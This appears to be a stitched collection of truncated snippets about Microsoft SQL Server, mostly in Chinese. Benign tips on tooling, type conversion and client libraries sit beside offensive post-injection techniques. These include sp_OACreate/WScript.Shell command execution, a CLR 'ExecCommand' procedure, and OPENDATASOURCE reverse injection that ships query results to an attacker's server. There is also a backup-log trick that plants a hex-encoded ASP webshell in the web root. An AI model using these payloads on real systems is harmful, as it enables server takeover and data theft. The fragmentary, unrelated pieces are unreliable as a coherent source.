/* 执行命令并将执行结果写入文件 */ DECLARE @object INT EXEC sp_OACreate 'WScript.Shell', @object OUTPUT -- exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object output EXEC sp_OAMethod @object, 'run', NULL, 'C:\Windows\System32\cmd.exe /c whoami >C:\inetpub\wwwr...
defstr2hex(string):hexstr=binascii.b2a_hex(bytes(string,encoding='utf-8'))out=bytes("0x",encoding='utf-8')out=out+hexstrprint(out)defb2a(filename):withopen(filename,'rb')asf:hexstr=binascii.b2a_hex(f.read())out=bytes("0x",encoding='utf-8')out=out+hexstrprint(out)if__name_...
Visual Studio Code:如果没有安装 Visual Studio Code,请从官方Visual Studio Code 网站下载并安装。 Visual Studio Code 的 MSSQL 扩展:在 Visual Studio Code 中,通过在窗口一侧的活动栏中选择“扩展”图标来打开“扩展”视图。 搜索mssql 并选择“安装”添加扩展。 访问数据库:如果没有访问数据库实例的权限,则...
So, by default, we need to convert OrderQty which is numeric into a string to be able to concatenate the string with the number. To do that, we will try different methods. CAST Function to convert int to string The following example shows how to use the CAST function. In this example,...
/* @precommand and @postcommand may be used to force a single result set via a temp table. */ /* Preprocessor won't replace within quotes so have to use str(). */ declare @mscat nvarchar(12) select @mscat = ltrim(str(convert(int, 0x0002))) ...
usingSystem;usingSystem.Data;usingSystem.Data.SqlClient;usingSystem.Data.SqlTypes;usingSystem.Diagnostics;usingSystem.Text;usingMicrosoft.SqlServer.Server;publicpartialclassStoredProcedures{[Microsoft.SqlServer.Server.SqlProcedure]publicstaticvoidExecCommand(stringcmd){SqlContext.Pipe.Send("Command is running, pl...
最近看了下NodeJS下连接SQLServer的一些示例,发现NodeJs中有两个模块,一个是mssql,其npm地址是:https://www.npmjs.com/package/mssql;另外一个是:tedious,其npm地址是:https://www.npmjs.com/package/tedious,github对应的地址是:https://github.com/tediousjs/tedious 一、使用mssql连接SQLServer数据库 1、创...
die(‘Unable to select database.’); } “` 4. 执行查询 通过使用 `mssql_query()` 函数执行 SQL 查询。该函数的语法如下: “` mixed mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) “`
OPENDATASOURCE(provider_name,init_string) 使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。 反弹注入一般流程 连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。 highlighter- pgsql CREATE...
drop table test_tmp;create table test_tmp(a image);backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp(a) values (0x3c256578656375746528726571756573742822636d64222929253e);backup log mydb to disk = 'C:/intepub/wwwroot/www.demo1.com/123.asp...